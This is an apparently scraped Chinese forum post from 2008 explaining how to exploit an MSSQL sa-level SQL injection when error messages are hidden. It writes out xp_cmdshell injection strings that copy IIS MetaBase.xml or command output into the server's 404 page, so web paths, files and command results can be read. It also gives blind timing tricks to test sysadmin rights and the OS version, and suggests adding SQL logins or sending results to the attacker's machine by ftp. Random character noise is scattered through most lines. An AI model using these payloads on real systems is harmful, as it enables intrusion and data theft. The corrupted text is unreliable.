遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。. U$ ~: t O& L( p' P: y" m
: ?* q" y' q0 h( K
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。- j: z& a' \1 i: H5 E4 D# k
& n# }0 I- W2 t
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
' i L% R( k# X- R5 g
, h- S% a, s' ~# W) } S7 f/ M- g# V IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm. R" g, i% D" ^( s; c1 S/ Y
8 I5 @* ]% ?7 v" N
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
6 b% M! R: o% V, i( U: K6 T; z% v7 b; P5 C6 w
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
) {$ k& I: O$ L, R* k( L& Y8 r! y f+ ^, K$ `5 P
执行命令得到回显
7 d' }3 _' ?" [6 Y
4 q. z i- w0 R4 A9 g- e 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
5 n1 }" m8 F3 y2 K8 z
" {" u' Q5 o f: h) x" o 得到文件也shi相同,把文件copy到404b.htm就行了: u4 r+ G1 o, D
" Y/ F. b p4 a X by 28ice, 2008/6/26
" Z& r- p# _" t/ b
# y: r) q7 @! l! j* N5 M5 V 摘自 28度的冰3 R2 X4 X2 |! [: b2 c. ~
) Q5 k1 ~7 Z( f7 P: n& c" ^/ z
盲注判断权限和操作系统版本
! q: L$ ]5 X0 k# |; i9 k# S3 E, q3 P( e: ]2 d/ L/ @% Y" n Z
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?8 f) c, `% T: \7 p8 \8 p# K
+ `# k! x% u4 c0 r8 {) T1 c: k 最简单的,可能以用这样的方法:
# h- U3 e4 o1 S" i5 Q: U4 y, w& W5 D4 Y& ]2 A
1=(select IS_SRVROLEMEMBER(’sysadmin’))* |5 I" U7 W: C v
/ \% E, f3 q6 _ G+ Y4 m% C6 h 当然,有些情况下,这个方法并不奏效。6 {7 x. k" i3 ~( d
/ o3 T* d+ H0 T0 b% l 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。2 J& F1 V. F+ | m
8 V& x7 U' ~5 e8 l# O1 j, n3 h. H
有个3办法可能以解决这个问题! y* K3 d% z. D- s
% b3 R* x0 l4 t; I5 |! X
a.把执行结果写到404b.htm,具体请看我的上一篇文章6 k- n2 L {$ G, F" h0 A
" n1 ^$ {# D; E# e& G b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟: I) R0 W2 S& {/ \5 u( B
2 r. r h: Q+ B) }' `; Q: k c.如果1433端口可能以连接,那干脆新建个sql登录* w8 K: v% u+ a9 L& J% v |
5 G* v+ K" r* h2 V6 K; f- C d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数5 k0 n4 I, E/ r; t8 Q I
( o: `/ r7 I+ N0 U; F+ S: @" B1 I 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
6 W7 s3 m% d; J
' X: Z; j m5 C/ o) Y* Z 很简单+ B1 c' o7 S9 u/ N
5 W$ {4 v1 r: A2 F8 G* H
执行systeminfo4 C/ A" G& o+ ]/ l5 W6 {- D# x
7 b7 D9 p7 s* m- k/ x! e 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |